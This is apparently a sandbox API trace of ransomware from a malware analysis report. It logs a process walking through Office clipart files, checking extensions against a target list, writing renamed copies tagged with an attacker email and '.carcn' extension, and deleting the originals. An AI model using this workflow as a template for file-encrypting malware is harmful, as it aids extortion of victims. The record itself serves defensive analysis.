[0303.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.689] lstrlenW (lpString=".docx") returned 5 [0303.689] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0303.689] lstrlenW (lpString=".pdf") returned 4 [0303.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.689] lstrlenW (lpString=".xls") returned 4 [0303.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.689] lstrlenW (lpString=".xlsx") returned 5 [0303.689] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0303.689] lstrlenW (lpString=".ppt") returned 4 [0303.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0303.689] lstrlenW (lpString=".zip") returned 4 [0303.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.689] lstrlenW (lpString=".rar") returned 4 [0303.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.689] lstrlenW (lpString=".bz2") returned 4 [0303.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.689] lstrlenW (lpString=".7z") returned 3 [0303.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0303.689] lstrlenW (lpString=".dbf") returned 4 [0303.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0303.689] lstrlenW (lpString=".1cd") returned 4 [0303.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0303.689] lstrlenW (lpString=".jpg") returned 4 [0303.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.690] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.690] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0303.690] GetLastError () returned 0x0 [0303.690] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x375e, lpOverlapped=0x0) returned 1 [0303.691] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x3760, lpOverlapped=0x0) returned 1 [0303.694] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.694] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.694] SetEndOfFile (hFile=0x340) returned 1 [0303.694] CloseHandle (hObject=0x340) returned 1 [0303.694] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.694] SetEndOfFile (hFile=0x35c) returned 1 [0303.695] CloseHandle (hObject=0x35c) returned 1 [0303.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 1 [0303.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0303.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0303.696] lstrlenW (lpString=".doc") returned 4 [0303.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.696] lstrlenW (lpString=".docx") returned 5 [0303.696] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0303.696] lstrlenW (lpString=".pdf") returned 4 [0303.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.696] lstrlenW (lpString=".xls") returned 4 [0303.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.696] lstrlenW (lpString=".xlsx") returned 5 [0303.696] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0303.696] lstrlenW (lpString=".ppt") returned 4 [0303.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0303.696] lstrlenW (lpString=".zip") returned 4 [0303.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.696] lstrlenW (lpString=".rar") returned 4 [0303.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.696] lstrlenW (lpString=".bz2") returned 4 [0303.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.696] lstrlenW (lpString=".7z") returned 3 [0303.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0303.697] lstrlenW (lpString=".dbf") returned 4 [0303.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0303.697] lstrlenW (lpString=".1cd") returned 4 [0303.697] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0303.697] lstrlenW (lpString=".jpg") returned 4 [0303.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.697] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.697] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0303.698] GetLastError () returned 0x0 [0303.698] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x4dba, lpOverlapped=0x0) returned 1 [0303.698] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x4dc0, lpOverlapped=0x0) returned 1 [0303.699] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.699] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.699] SetEndOfFile (hFile=0x340) returned 1 [0303.700] CloseHandle (hObject=0x340) returned 1 [0303.700] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.700] SetEndOfFile (hFile=0x35c) returned 1 [0303.700] CloseHandle (hObject=0x35c) returned 1 [0303.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.701] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 1 [0303.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0303.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0303.701] lstrlenW (lpString=".doc") returned 4 [0303.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.701] lstrlenW (lpString=".docx") returned 5 [0303.701] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0303.701] lstrlenW (lpString=".pdf") returned 4 [0303.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.701] lstrlenW (lpString=".xls") returned 4 [0303.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.701] lstrlenW (lpString=".xlsx") returned 5 [0303.701] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0303.701] lstrlenW (lpString=".ppt") returned 4 [0303.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0303.701] lstrlenW (lpString=".zip") returned 4 [0303.701] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.701] lstrlenW (lpString=".rar") returned 4 [0303.701] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.701] lstrlenW (lpString=".bz2") returned 4 [0303.701] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.701] lstrlenW (lpString=".7z") returned 3 [0303.701] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0303.702] lstrlenW (lpString=".dbf") returned 4 [0303.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0303.702] lstrlenW (lpString=".1cd") returned 4 [0303.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0303.702] lstrlenW (lpString=".jpg") returned 4 [0303.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.702] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.702] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0303.702] GetLastError () returned 0x0 [0303.703] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x3d40, lpOverlapped=0x0) returned 1 [0303.703] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x3d50, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x3d50, lpOverlapped=0x0) returned 1 [0303.704] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.704] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.704] SetEndOfFile (hFile=0x340) returned 1 [0303.704] CloseHandle (hObject=0x340) returned 1 [0303.705] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.705] SetEndOfFile (hFile=0x35c) returned 1 [0303.706] CloseHandle (hObject=0x35c) returned 1 [0303.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 1 [0303.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0303.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0303.706] lstrlenW (lpString=".doc") returned 4 [0303.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.706] lstrlenW (lpString=".docx") returned 5 [0303.706] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0303.706] lstrlenW (lpString=".pdf") returned 4 [0303.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.706] lstrlenW (lpString=".xls") returned 4 [0303.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.707] lstrlenW (lpString=".xlsx") returned 5 [0303.707] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0303.707] lstrlenW (lpString=".ppt") returned 4 [0303.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0303.707] lstrlenW (lpString=".zip") returned 4 [0303.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.707] lstrlenW (lpString=".rar") returned 4 [0303.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.707] lstrlenW (lpString=".bz2") returned 4 [0303.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.707] lstrlenW (lpString=".7z") returned 3 [0303.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0303.707] lstrlenW (lpString=".dbf") returned 4 [0303.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0303.707] lstrlenW (lpString=".1cd") returned 4 [0303.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0303.707] lstrlenW (lpString=".jpg") returned 4 [0303.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.707] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.707] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0303.708] GetLastError () returned 0x0 [0303.708] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x5314, lpOverlapped=0x0) returned 1 [0303.709] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x5320, lpOverlapped=0x0) returned 1 [0303.710] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.710] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.710] SetEndOfFile (hFile=0x340) returned 1 [0303.710] CloseHandle (hObject=0x340) returned 1 [0303.710] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.710] SetEndOfFile (hFile=0x35c) returned 1 [0303.711] CloseHandle (hObject=0x35c) returned 1 [0303.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 1 [0303.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0303.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0303.712] lstrlenW (lpString=".doc") returned 4 [0303.712] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.712] lstrlenW (lpString=".docx") returned 5 [0303.712] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0303.712] lstrlenW (lpString=".pdf") returned 4 [0303.712] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.712] lstrlenW (lpString=".xls") returned 4 [0303.712] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.712] lstrlenW (lpString=".xlsx") returned 5 [0303.712] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0303.712] lstrlenW (lpString=".ppt") returned 4 [0303.712] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0303.712] lstrlenW (lpString=".zip") returned 4 [0303.712] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.712] lstrlenW (lpString=".rar") returned 4 [0303.712] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.712] lstrlenW (lpString=".bz2") returned 4 [0303.712] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.712] lstrlenW (lpString=".7z") returned 3 [0303.712] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0303.712] lstrlenW (lpString=".dbf") returned 4 [0303.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0303.712] lstrlenW (lpString=".1cd") returned 4 [0303.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0303.713] lstrlenW (lpString=".jpg") returned 4 [0303.713] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.713] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.713] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0303.713] GetLastError () returned 0x0 [0303.713] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xb758, lpOverlapped=0x0) returned 1 [0303.715] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xb760, lpOverlapped=0x0) returned 1 [0303.717] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.717] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.717] SetEndOfFile (hFile=0x340) returned 1 [0303.717] CloseHandle (hObject=0x340) returned 1 [0303.717] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.717] SetEndOfFile (hFile=0x35c) returned 1 [0303.718] CloseHandle (hObject=0x35c) returned 1 [0303.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.719] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 1 [0303.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0303.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0303.719] lstrlenW (lpString=".doc") returned 4 [0303.719] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.719] lstrlenW (lpString=".docx") returned 5 [0303.719] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0303.719] lstrlenW (lpString=".pdf") returned 4 [0303.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.719] lstrlenW (lpString=".xls") returned 4 [0303.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.719] lstrlenW (lpString=".xlsx") returned 5 [0303.719] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0303.719] lstrlenW (lpString=".ppt") returned 4 [0303.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0303.719] lstrlenW (lpString=".zip") returned 4 [0303.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.719] lstrlenW (lpString=".rar") returned 4 [0303.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.719] lstrlenW (lpString=".bz2") returned 4 [0303.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.720] lstrlenW (lpString=".7z") returned 3 [0303.720] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0303.720] lstrlenW (lpString=".dbf") returned 4 [0303.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0303.720] lstrlenW (lpString=".1cd") returned 4 [0303.720] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0303.720] lstrlenW (lpString=".jpg") returned 4 [0303.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.720] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 